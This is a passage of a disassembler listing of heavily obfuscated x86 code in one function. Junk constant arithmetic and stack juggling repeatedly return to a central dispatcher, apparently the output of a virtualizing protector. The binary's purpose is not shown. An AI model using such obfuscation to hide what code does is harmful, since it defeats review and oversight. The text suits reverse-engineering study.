					; sub_58A891+F819j
		mov	bh, al
		pop	eax
		mov	cl, bh
		pop	ebx
		push	[esp+0Ch+var_C]
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_5978B0:				; CODE XREF: sub_58A891+10525j
		shr	ebx, 3
		jmp	loc_58E6CF
; ---------------------------------------------------------------------------


loc_5978B8:				; CODE XREF: sub_58A891+6643j
		mov	edx, 111A5A13h
		sub	ecx, edx
		pop	edx
		sub	ecx, 6F8E3F53h
		add	ecx, 40739510h
		and	eax, ecx
		pop	ecx
		shr	eax, 10h
		xor	eax, ecx
		push	268Eh
		mov	[esp-8+arg_0], eax
		push	133Dh
		mov	[esp+0], ebp
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		jmp	loc_597B1C
; ---------------------------------------------------------------------------


loc_5978F0:				; CODE XREF: sub_58A891+8FDFj
		inc	edx
		jmp	loc_591B7A
; ---------------------------------------------------------------------------


loc_5978F6:				; CODE XREF: sub_58A891+410Aj
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_59977C
; ---------------------------------------------------------------------------


loc_5978FF:				; CODE XREF: sub_58A891+6349j
					; sub_58A891+1091Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59282D
; ---------------------------------------------------------------------------


loc_597913:				; CODE XREF: sub_58A891+C20Ej
		xor	ebx, [esp+28h+var_28]
		pop	esp
		and	byte ptr [esp+24h+var_24], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597920:				; CODE XREF: sub_58A891+6DAAj
		mov	esp, [esp+3Ch+var_3C]
		popa
		jmp	loc_59173D
; ---------------------------------------------------------------------------


loc_597929:				; CODE XREF: sub_58A891+8CECj
		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_595F7D
; ---------------------------------------------------------------------------


loc_597939:				; CODE XREF: sub_58A891+EE3Dj
		add	edx, 573F64BAh
		jnp	loc_58E6B0
		add	edx, 0F78AD564h
		mov	esi, edx
		pop	edx
		jmp	loc_58F51A
; ---------------------------------------------------------------------------


loc_597953:				; CODE XREF: sub_58A891+E9E3j
		add	esi, 4
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	[esp+4+var_4]
		pop	edx
		push	eax
		mov	eax, esp
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_59B821
; ---------------------------------------------------------------------------


loc_597981:				; CODE XREF: sub_58A891+F497j
		pop	ebp
		xor	ecx, edx
		pop	edx
		mov	ebp, ecx
		jmp	loc_59651C
; ---------------------------------------------------------------------------


loc_59798C:				; CODE XREF: sub_58A891+10A01j
		push	ebp
		push	5D8Bh
		mov	[esp+0Ch+var_C], ecx
		push	0C4F128Dh
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		or	ecx, 30991EA7h
		jnp	loc_596BDD
		sub	ecx, 60912B78h
		jnz	loc_5983CB
		xor	ecx, 0FEAABF6Ah
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx


loc_5979C8:				; CODE XREF: sub_58A891+3E33j
		add	ebp, 4
		push	eax
		push	ebp
		mov	ebp, 2
		jmp	loc_58E6C9
; ---------------------------------------------------------------------------


loc_5979DA:				; CODE XREF: sub_58A891+5F38j
					; sub_58A891+D836j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+1Ch+var_18]
		pop	ecx
		pop	[esp+1Ch+var_1C]
		jmp	loc_58F1F5
; ---------------------------------------------------------------------------


loc_5979EB:				; CODE XREF: sub_58A891+6AE4j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+38h+var_38]
		jmp	loc_594B5B
; ---------------------------------------------------------------------------


loc_5979F7:				; CODE XREF: sub_58A891+B516j
		push	eax
		mov	eax, 47B2973h
		xor	eax, 3FFB1819h
		sub	ecx, 0C30137Fh
		add	ecx, eax
		jmp	loc_5913F4
; ---------------------------------------------------------------------------


loc_597A0F:				; CODE XREF: sub_58A891+A78Dj
		pop	esi
		push	esi
		push	262Bh
		mov	[esp+14h+var_14], ebx
		push	7C9118CCh
		pop	ebx
		or	ebx, 57490CBAh
		jbe	loc_598BF8
		push	5701h
		jmp	loc_5951B8
; ---------------------------------------------------------------------------


loc_597A35:				; CODE XREF: sub_58A891+1066Bj
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	esi
		jmp	loc_597E29
; ---------------------------------------------------------------------------


loc_597A41:				; CODE XREF: sub_58A891+739Bj
		add	al, 0EAh
		push	ecx
		mov	ch, 7Ch
		shr	ch, 8
		jmp	loc_590A3F
; ---------------------------------------------------------------------------


loc_597A4E:				; CODE XREF: sub_58A891+9BD0j
		mov	ecx, 3BCA303Bh
		and	ecx, 1C00024h
		jge	loc_590279
		jmp	loc_5997EC
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 63D361A1h
		not	edx


loc_597A6C:				; CODE XREF: sub_58A891+10036j
		add	esp, 4
		sub	ebx, 392749AFh
		jmp	loc_5910BF
; ---------------------------------------------------------------------------


loc_597A7A:				; CODE XREF: sub_58A891+4255j
		push	6A1Dh
		jmp	loc_590400
; ---------------------------------------------------------------------------


loc_597A84:				; CODE XREF: sub_58A891+FCEFj
		jnz	loc_59AA13
		xor	bl, 19h
		jnp	loc_58E6F0
		mov	bh, bl
		push	esp


loc_597A96:				; CODE XREF: sub_58A891+507Dj
		xor	bp, 4BD5h
		mov	cx, bp
		pop	ebp
		add	word ptr [esp+40h+var_40+2], 4D71h
		jmp	loc_59861C
; ---------------------------------------------------------------------------


loc_597AAB:				; CODE XREF: sub_58A891+A5DCj
					; sub_58A891+CE48j
		sub	eax, 0EA1065Ch
		add	esi, eax
		pop	eax
		push	5B25h
		mov	[esp+12h+var_14+2], ebx
		push	esi
		jmp	loc_592C2A
; ---------------------------------------------------------------------------


loc_597AC1:				; CODE XREF: sub_58A891+EA58j
		push	5CCDh
		mov	[esp+1Ah+var_1C+2], ebx
		jmp	loc_58FE34
; ---------------------------------------------------------------------------


loc_597ACE:				; CODE XREF: sub_58A891+C938j
		shr	esi, 4
		push	ecx
		jmp	loc_5963ED
; ---------------------------------------------------------------------------


loc_597AD7:				; CODE XREF: sub_58A891+705Dj
		mov	esp, [esp+0]
		add	[esp+0], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597AE3:				; CODE XREF: sub_58A891+B4A6j
		jmp	loc_598670
; ---------------------------------------------------------------------------


loc_597AE8:				; CODE XREF: sub_58A891+9EF6j
		dec	ah
		xor	ah, 93h
		mov	dh, ah
		pop	eax
		and	dh, 32h
		jmp	loc_58E744
; ---------------------------------------------------------------------------


loc_597AF8:				; CODE XREF: sub_58A891+3E54j
		push	ecx
		mov	ecx, 5687D2Dh
		and	ecx, 37D541F8h
		shl	ecx, 4
		jmp	loc_58F74F
; ---------------------------------------------------------------------------


loc_597B0C:				; CODE XREF: sub_58A891+DFDDj
		mov	al, 56h
		and	ch, al
		mov	ax, [esp+0]
		add	esp, 2
		jmp	loc_5998D9
; ---------------------------------------------------------------------------


loc_597B1C:				; CODE XREF: sub_58A891+D05Aj
		add	esp, 4
		pop	dword ptr [esp+0]
		not	ebp
		push	ebp
		push	[esp-4+arg_0]
		jmp	loc_592453
; ---------------------------------------------------------------------------


loc_597B2E:				; CODE XREF: sub_58A891+C54Cj
		push	461B7511h
		pop	ecx
		jmp	loc_597107
; ---------------------------------------------------------------------------


loc_597B39:				; CODE XREF: sub_58A891+7D93j
		or	ah, 3Bh
		jmp	loc_595C70
; ---------------------------------------------------------------------------


loc_597B41:				; CODE XREF: sub_58A891:loc_593337j
		xor	eax, 0BAC0D126h
		mov	ecx, eax
		jmp	loc_58EDF3
; ---------------------------------------------------------------------------


loc_597B4D:				; CODE XREF: sub_58A891+C857j
					; sub_58A891+FD25j
		mov	ebp, 412B24A6h
		jmp	loc_5957FD
; ---------------------------------------------------------------------------


loc_597B57:				; CODE XREF: sub_58A891+BB88j
		sub	edx, 90C196Ch
		js	loc_59935F
		push	45E8h
		mov	[esp+8+var_8], eax
		mov	ah, ah


loc_597B6D:				; CODE XREF: sub_58A891+9D9Dj
		xor	edi, 11C44B99h
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 0D4031059h
		xor	edi, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		sub	[esp+0Ch+var_C], 3A573F43h
		pop	esi
		add	esi, 3A573F43h
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		xor	[esp+8+var_8], 138B0F38h
		pop	dword ptr [edx+38h]
		push	ecx
		mov	ecx, 38h
		add	ecx, edx
		xor	dword ptr [ecx], 138B0F38h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_597890
; ---------------------------------------------------------------------------


loc_597BC8:				; CODE XREF: sub_58A891+4FC1j
		add	esp, 4
		jmp	loc_593EA5
; ---------------------------------------------------------------------------


loc_597BD0:				; CODE XREF: sub_58A891+5919j
		xor	edx, 2E256651h
		jmp	loc_595654
; ---------------------------------------------------------------------------


loc_597BDB:				; CODE XREF: sub_58A891+F1D2j
		pop	ebp
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 7884h
		mov	word ptr [esp+2Eh+var_30+2], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597BEF:				; CODE XREF: sub_58A891+10ADDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_592C63
; ---------------------------------------------------------------------------


loc_597BFE:				; CODE XREF: sub_58A891+10EB4j
		inc	edi
		or	edi, 1A8E5A91h
		jmp	loc_596DB9
; ---------------------------------------------------------------------------


loc_597C0A:				; CODE XREF: sub_58A891:loc_596269j
					; DATA XREF: sub_58A891+3BF7o
		mov	cx, word ptr [esp+40h+var_40]
		jmp	loc_58F9B1
; ---------------------------------------------------------------------------


loc_597C13:				; CODE XREF: sub_58A891+80D0j
		push	ebp
		push	esp
		jmp	loc_59B438
; ---------------------------------------------------------------------------


loc_597C1A:				; CODE XREF: sub_58A891+111A1j
		push	edi
		mov	edi, 615A55BAh
		or	edi, 426E477Eh
		shl	edi, 2
		and	edi, 1CAA492Fh
		shl	edi, 1
		sub	edi, 4B67146Bh
		add	edi, 0EE113D7Fh
		xor	ecx, edi
		pop	edi
		mov	edi, ecx
		pop	ecx
		add	edi, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		xor	edi, 423B3AB2h
		add	edi, 65876846h
		xor	edi, 0E3CA8B60h
		sub	ebx, edi
		pop	edi
		add	ebx, 7C380DDFh
		sub	ebx, eax
		sub	ebx, 7C380DDFh
		push	esi
		mov	esi, 519D2357h
		add	ebx, esi
		jmp	loc_59254D
; ---------------------------------------------------------------------------


loc_597C7E:				; CODE XREF: sub_58A891+DDD2j
		add	cl, al
		pop	eax
		sub	dh, cl
		pop	ecx
		add	al, dh
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		sub	esp, 4
		jmp	loc_5955AE
; ---------------------------------------------------------------------------


loc_597C95:				; CODE XREF: sub_58A891+10854j
		shl	edi, 1
		not	edi
		sub	edi, 6403221Ah
		jmp	loc_58FA24
; ---------------------------------------------------------------------------


loc_597CA4:				; CODE XREF: sub_58A891+ABA7j
		dec	edx
		sub	edx, 545BFA93h
		jmp	loc_58EDFE
; ---------------------------------------------------------------------------


loc_597CB0:				; CODE XREF: sub_58A891+8DCFj
		pop	eax
		push	edx
		jmp	loc_599684
; ---------------------------------------------------------------------------


loc_597CB7:				; CODE XREF: sub_58A891+9894j
		add	ebx, 27485691h
		add	ebx, ecx
		sub	ebx, 27485691h
		jmp	loc_594FB2
; ---------------------------------------------------------------------------


loc_597CCA:				; CODE XREF: sub_58A891+7EBEj
		xor	edi, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		bts	word ptr [esp+4Ch+var_4E+2], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597CDB:				; CODE XREF: sub_58A891+10F05j
		pop	ebp
		pop	[esp+4Ch+var_4E+2]
		pop	esp
		mov	[esp+44h+var_46+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59547C
; ---------------------------------------------------------------------------


loc_597CEF:				; CODE XREF: sub_58A891+9916j
		add	esp, 4
		pop	eax
		push	ecx
		pop	eax
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_599CBC
; ---------------------------------------------------------------------------


loc_597D03:				; CODE XREF: sub_58A891+9852j
		pop	ebx
		xor	eax, ecx
		push	[esp+32h+var_34+2]
		jmp	loc_598F3C
; ---------------------------------------------------------------------------


loc_597D0E:				; CODE XREF: sub_58A891+BB31j
		add	edi, 72C1E132h
		add	edx, edi
		pop	edi
		jmp	loc_599A80
; ---------------------------------------------------------------------------


loc_597D1C:				; CODE XREF: sub_58A891+67DDj
		not	edx
		sub	esp, 4
		jmp	loc_595DAC
; ---------------------------------------------------------------------------


loc_597D29:				; CODE XREF: sub_58A891+9E7Bj
		sub	[esp+48h+var_4A+2], 4F867958h
		add	[esp+48h+var_4A+2], 75FC7F4Bh
		add	[esp+48h+var_4A+2], 49764D4Ah
		add	[esp+48h+var_4A+2], eax
		sub	[esp+48h+var_4A+2], 49764D4Ah
		sub	[esp+48h+var_4A+2], 75FC7F4Bh
		jmp	loc_595349
; ---------------------------------------------------------------------------


loc_597D54:				; CODE XREF: sub_58A891+F7A2j
		pop	esi
		add	ebp, 0A888D187h
		jmp	loc_590DED
; ---------------------------------------------------------------------------


loc_597D60:				; CODE XREF: sub_58A891+4B26j
		pop	ebp
		or	eax, 705C7926h
		sub	eax, 999463A2h
		add	esi, eax
		jmp	loc_59127B
; ---------------------------------------------------------------------------


loc_597D72:				; CODE XREF: sub_58A891+4D22j
		push	67A238F0h
		pop	ebx
		xor	ebx, 55AB3E30h
		jnz	loc_59A15F
		add	ebx, 41044724h
		mov	edi, ebx
		pop	ebx
		push	esi
		pop	eax


loc_597D8F:				; CODE XREF: sub_58A891+C8C1j
		push	esp
		jmp	loc_597F08
; ---------------------------------------------------------------------------


loc_597D95:				; CODE XREF: sub_58A891+911Ej
		xor	edi, [esp+0]
		pop	esp
		jmp	loc_59B128
; ---------------------------------------------------------------------------


loc_597D9E:				; CODE XREF: sub_58A891+C104j
		add	edx, esi
		jmp	loc_59AB0F
; ---------------------------------------------------------------------------


loc_597DA5:				; CODE XREF: sub_58A891+5FF9j
		xor	eax, esi
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 2D06656h
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 523C5C4Dh
		shl	edx, 6
		sub	edx, 196C3B82h
		not	edx
		shr	edx, 3
		jmp	loc_590C72
; ---------------------------------------------------------------------------


loc_597DD7:				; CODE XREF: sub_58A891+F5FDj
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59184B
; ---------------------------------------------------------------------------


loc_597DE3:				; CODE XREF: sub_58A891+3D89j
					; sub_58A891+B79Ej
		push	[esp+44h+var_46+2]
		pop	ebp
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_59150B
; ---------------------------------------------------------------------------


loc_597DF8:				; CODE XREF: sub_58A891+78C1j
					; sub_58A891+E550j
		shr	ah, 1
		jmp	loc_599279
; ---------------------------------------------------------------------------


loc_597DFF:				; CODE XREF: sub_58A891:loc_59189Cj
		xor	eax, 0F12E9048h
		mov	ebp, eax
		jmp	loc_5972F3
; ---------------------------------------------------------------------------


loc_597E0B:				; CODE XREF: sub_58A891+5520j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_598668
; ---------------------------------------------------------------------------


loc_597E19:				; CODE XREF: sub_58A891+A410j
		add	ebp, 4
		push	ebp
		push	[esp+50h+var_4E+2]
		mov	ebp, [esp+54h+var_54]
		jmp	loc_595974
; ---------------------------------------------------------------------------


loc_597E29:				; CODE XREF: sub_58A891+D1ABj
		push	ebx
		mov	ebx, 26A378A3h
		push	eax
		mov	eax, 46FA7596h
		add	ebx, eax
		jmp	loc_599F79
; ---------------------------------------------------------------------------


loc_597E3C:				; CODE XREF: sub_58A891+44C3j
		push	ebp
		mov	ebp, 2
		jmp	loc_597375
; ---------------------------------------------------------------------------


loc_597E47:				; CODE XREF: sub_58A891+BB09j
		add	edi, esi
		pop	esi
		pop	eax
		mov	ecx, edi
		jmp	loc_594A9A
; ---------------------------------------------------------------------------


loc_597E52:				; CODE XREF: sub_58A891+B0FCj
		mov	edx, 2
		jmp	loc_590BDF
; ---------------------------------------------------------------------------


loc_597E5C:				; CODE XREF: sub_58A891+8E6Cj
		push	esi
		push	ecx
		push	732345F8h
		pop	ecx
		add	ecx, 1
		jmp	loc_5956E8
; ---------------------------------------------------------------------------


loc_597E6C:				; CODE XREF: sub_58A891+E9BFj
		sub	byte ptr [esp+0Ch+var_C], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597E75:				; CODE XREF: sub_58A891+E0FCj
		mov	edi, [esp+10h+var_10]
		push	edi
		mov	edi, esp
		jmp	loc_59025F
; ---------------------------------------------------------------------------


loc_597E80:				; CODE XREF: sub_58A891:loc_597FD2j
		add	eax, 32DE76D3h
		jg	loc_59A5B3
		shl	eax, 8
		jnp	loc_592748
		xor	eax, 0F325F457h
		and	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_5925D8
; ---------------------------------------------------------------------------


loc_597EA3:				; DATA XREF: sub_58A891+3A83o
		lodsb
		jmp	loc_597089
; ---------------------------------------------------------------------------


loc_597EA9:				; CODE XREF: sub_58A891+7A44j
		push	[esp+0Ch+var_C]
		pop	esi
		add	esp, 4
		jmp	loc_59A49B
; ---------------------------------------------------------------------------


loc_597EB5:				; CODE XREF: sub_58A891+ACF5j
		and	ebx, 1BD52917h
		jmp	loc_590B2A
; ---------------------------------------------------------------------------


loc_597EC0:				; CODE XREF: sub_58A891+A062j
		neg	ebp
		xor	ebp, 0C649F4A8h
		add	edx, ebp
		pop	ebp
		jmp	loc_5908B1
; ---------------------------------------------------------------------------


loc_597ED0:				; CODE XREF: sub_58A891:loc_599DA6j
		shr	ch, 7
		jmp	loc_5949EA
; ---------------------------------------------------------------------------


loc_597ED8:				; CODE XREF: sub_58A891+6973j
		mov	ebp, 13F526Ah
		mov	ebx, 653178A5h
		push	eax
		mov	eax, 445545D1h
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		sub	ebx, 445545D1h
		jmp	loc_593F86
; ---------------------------------------------------------------------------


loc_597EF8:				; CODE XREF: sub_58A891+5D89j
		pop	ebx
		dec	ebx
		jmp	loc_59AB6E
; ---------------------------------------------------------------------------


loc_597EFF:				; CODE XREF: sub_58A891+914Cj
		pop	esi
		sub	ecx, 4
		jmp	loc_593766
; ---------------------------------------------------------------------------


loc_597F08:				; CODE XREF: sub_58A891+D4FFj
		mov	edx, [esp+44h+var_46+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FF7F
; ---------------------------------------------------------------------------


loc_597F19:				; CODE XREF: sub_58A891+5CC7j
					; sub_58A891+EAD6j
		add	ebp, edx
		push	[esp+3Ch+var_3C]
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_58FA48
; ---------------------------------------------------------------------------


loc_597F29:				; CODE XREF: sub_58A891+F78Ej
		jmp	loc_58F9A9
; ---------------------------------------------------------------------------


loc_597F2E:				; CODE XREF: sub_58A891:loc_5974D0j
		sub	esi, 307CEE11h
		shr	esi, 7
		sub	esi, offset byte_4D967D
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+3Ah+var_3C+2]
		jmp	loc_595C61
; ---------------------------------------------------------------------------


loc_597F48:				; DATA XREF: sub_58A891+3C27o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597F57:				; CODE XREF: sub_58A891+1087Ej
		add	esp, 4
		jmp	loc_592375
; ---------------------------------------------------------------------------


loc_597F62:				; CODE XREF: sub_58A891+D7B9j
		mov	dl, 5
		add	dl, 0E0h
		sub	bl, dl
		jmp	loc_59002A
; ---------------------------------------------------------------------------


loc_597F6E:				; CODE XREF: sub_58A891+A5FEj
		mov	[esp+38h+var_38], edx
		push	ebx
		push	2BC31939h
		pop	ebx
		not	ebx
		push	ebx
		jmp	loc_593F62
; ---------------------------------------------------------------------------


loc_597F80:				; CODE XREF: sub_58A891:loc_596C5Bj
		jmp	loc_59729B
; ---------------------------------------------------------------------------


loc_597F85:				; CODE XREF: sub_58A891+521Cj
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		jmp	loc_59B06E
; ---------------------------------------------------------------------------


loc_597F93:				; CODE XREF: sub_58A891+D9A2j
		add	eax, [ebx]
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	ebx
		jmp	loc_5989F0
; ---------------------------------------------------------------------------


loc_597FA1:				; CODE XREF: sub_58A891+B233j
		mov	ebx, 0B0E7CFBh
		not	ebx
		not	ebx
		sub	ebx, 708E074Eh
		push	ebp
		mov	ebp, 6C528FEEh
		jmp	loc_58F201
; ---------------------------------------------------------------------------


loc_597FBB:				; CODE XREF: sub_58A891+9B30j
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_592E8F
; ---------------------------------------------------------------------------


loc_597FCB:				; CODE XREF: sub_58A891+AD8Ej
		pop	edx
		dec	esi
		jmp	loc_595B24
; ---------------------------------------------------------------------------


loc_597FD2:				; CODE XREF: sub_58A891+767Cj
		jmp	loc_597E80
; ---------------------------------------------------------------------------


loc_597FD7:				; CODE XREF: sub_58A891+F2C5j
		pop	edx
		push	edx
		mov	edx, 10F254AFh
		jmp	loc_58E83F
; ---------------------------------------------------------------------------


loc_597FE3:				; CODE XREF: sub_58A891+9BA2j
		mov	edx, 2B7A17D1h
		xor	edx, ecx
		pop	ecx
		add	edx, 5C315D15h
		add	ebx, edx
		pop	edx
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp-18h+arg_E+2]
		mov	esp, [esp-18h+arg_E+2]
		mov	word ptr [esp-18h+arg_E+2], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598009:				; CODE XREF: sub_58A891+108AAj
		push	ebp
		jmp	loc_5956D0
; ---------------------------------------------------------------------------


loc_59800F:				; CODE XREF: sub_58A891+FCFEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-0Eh+arg_4+2]
		pop	esp
		xchg	edx, [esp-12h+arg_8+2]
		pop	esp
		or	byte ptr [esp-16h+arg_E], al
		pushf
		jmp	loc_591F8F
; ---------------------------------------------------------------------------


loc_59802C:				; CODE XREF: sub_58A891+A89Ej
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_58F92B
; ---------------------------------------------------------------------------


loc_59803B:				; CODE XREF: sub_58A891+3ED4j
		not	cl
		mov	bl, cl
		mov	cx, word ptr [esp+38h+var_38]
		add	esp, 2
		push	edx
		jmp	loc_597F62
; ---------------------------------------------------------------------------


loc_59804F:				; CODE XREF: sub_58A891:loc_598611j
		sub	ecx, 7AF77BF1h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5960BD
; ---------------------------------------------------------------------------


loc_59805D:				; CODE XREF: sub_58A891+448Cj
		shl	ebp, 5
		jp	loc_58F2CE
		and	ebp, 44667684h
		jnz	loc_58FD89
		xor	ebp, 3BFC4CB3h
		not	ebp
		jmp	loc_59A860
; ---------------------------------------------------------------------------
		pop	edi


loc_598080:				; CODE XREF: sub_58A891+D867j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 695953ABh
		dec	ecx
		add	ecx, 399426D3h
		push	0
		sub	[esp+10h+var_10], ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	ecx, 0DCD6DC2Bh
		jmp	loc_590B93
; ---------------------------------------------------------------------------


loc_5980AB:				; CODE XREF: sub_58A891+9313j
		mov	[esp+0Ch+var_C], esi
		push	ebx
		mov	ebx, 5F5D2FA3h
		xchg	eax, ebx
		not	eax
		jmp	loc_597643
; ---------------------------------------------------------------------------


loc_5980BC:				; CODE XREF: sub_58A891+A8ADj
		jmp	loc_593B78
; ---------------------------------------------------------------------------


loc_5980C1:				; CODE XREF: sub_58A891+AD40j
		push	ebx
		mov	ebx, 4
		jmp	loc_5979DA
; ---------------------------------------------------------------------------


loc_5980CC:				; CODE XREF: sub_58A891+A518j
		push	esp
		pop	ecx
		push	edi
		mov	edi, 79C04181h
		add	edi, 22A17A93h
		jmp	loc_59872F
; ---------------------------------------------------------------------------


loc_5980DF:				; CODE XREF: sub_58A891+B64Bj
		add	ebp, 16AE7E67h
		sub	ebp, edx
		jmp	loc_59055D
; ---------------------------------------------------------------------------


loc_5980EC:				; DATA XREF: sub_58A891+3B8Bo
		lodsd
		sub	eax, 53A65E44h
		sub	esp, 4
		jmp	loc_598080
; ---------------------------------------------------------------------------


loc_5980FD:				; CODE XREF: sub_58A891+F6ABj
		not	eax
		shl	eax, 3
		jmp	loc_591E09
; ---------------------------------------------------------------------------


loc_598107:				; CODE XREF: sub_58A891+BC86j
		not	ecx
		xchg	ecx, esi
		jmp	loc_595F96
; ---------------------------------------------------------------------------


loc_598110:				; CODE XREF: sub_58A891+E1ADj
		mov	[esp+0], esi
		jmp	loc_593ECE
; ---------------------------------------------------------------------------


loc_598118:				; DATA XREF: sub_58A891+39DFo
		mov	cx, word ptr [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		push	edi
		jmp	loc_59B14A
; ---------------------------------------------------------------------------


loc_59812C:				; CODE XREF: sub_58A891+EBD8j
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, 518E37FBh
		sub	edi, 6C2C075Eh
		add	edi, 199021D0h
		not	edi
		add	edi, 0FEF25270h
		jmp	loc_58F32D
; ---------------------------------------------------------------------------


loc_59815A:				; CODE XREF: sub_58A891+E5BFj
		push	ebx
		mov	ebx, 40227E68h
		dec	ebx
		add	ebx, 66BA6291h
		jmp	loc_58EA89
; ---------------------------------------------------------------------------


loc_59816C:				; CODE XREF: sub_58A891+4A77j
					; sub_58A891+85EEj
		add	esp, 4
		push	eax
		jmp	loc_59916E
; ---------------------------------------------------------------------------


loc_598178:				; DATA XREF: sub_58A891+3B9Fo
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		jmp	loc_58E64C
; ---------------------------------------------------------------------------


loc_598187:				; CODE XREF: sub_58A891+C17Aj
		pop	edi
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_5911FE
; ---------------------------------------------------------------------------


loc_59819D:				; CODE XREF: sub_58A891+10DBAj
		dec	ecx
		jmp	loc_5904A6
; ---------------------------------------------------------------------------


loc_5981A3:				; CODE XREF: sub_58A891+8EABj
		pop	ebx
		jmp	loc_58FA98
; ---------------------------------------------------------------------------


loc_5981A9:				; CODE XREF: sub_58A891+F617j
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5981B5:				; CODE XREF: sub_58A891+40CAj
		and	edx, 436233FAh
		jb	loc_598C54
		dec	edx
		js	loc_59B84E
		jmp	loc_596139
; ---------------------------------------------------------------------------


loc_5981CD:				; CODE XREF: sub_58A891+BE72j
		push	eax
		push	esi
		mov	esi, 6F9154C5h
		shr	esi, 2
		jmp	loc_596C5B
; ---------------------------------------------------------------------------


loc_5981DC:				; CODE XREF: sub_58A891+B95Fj
		mov	edi, 6B5D231Fh
		mov	ecx, edi
		pop	edi
		add	[esp+38h+var_34], 342A335Ch
		sub	[esp+38h+var_34], 13490663h
		sub	[esp+38h+var_34], ecx
		add	[esp+38h+var_34], 13490663h
		push	ecx
		push	edx
		push	2C037F2Dh
		pop	edx
		jmp	loc_594EEF
; ---------------------------------------------------------------------------


loc_59820D:				; CODE XREF: sub_58A891+FF9Ej
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_598F1D
; ---------------------------------------------------------------------------


loc_598221:				; CODE XREF: sub_58A891+10813j
		add	ebx, edx
		pop	edx
		add	ebx, edi
		jmp	loc_590505
; ---------------------------------------------------------------------------


loc_59822B:				; CODE XREF: sub_58A891+5E7Ej
		add	ebx, edx
		sub	ebx, 17DD6D94h
		jmp	loc_597F93
; ---------------------------------------------------------------------------


loc_598238:				; DATA XREF: sub_58A891+3B4Fo
		mov	cx, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 7A4D7702h
		dec	edi
		jmp	loc_59ABF8
; ---------------------------------------------------------------------------


loc_59824B:				; CODE XREF: sub_58A891+CE3Fj
		add	edi, 1D96AA1h
		push	esi
		mov	esi, 5F6F3DF0h
		and	esi, 593D1E8Ch
		push	ebx
		mov	ebx, 5C8E454Ah
		add	ebx, 1A693B56h
		jmp	loc_58F639
; ---------------------------------------------------------------------------


loc_59826E:				; CODE XREF: sub_58A891+83C2j
		sub	ebx, edi
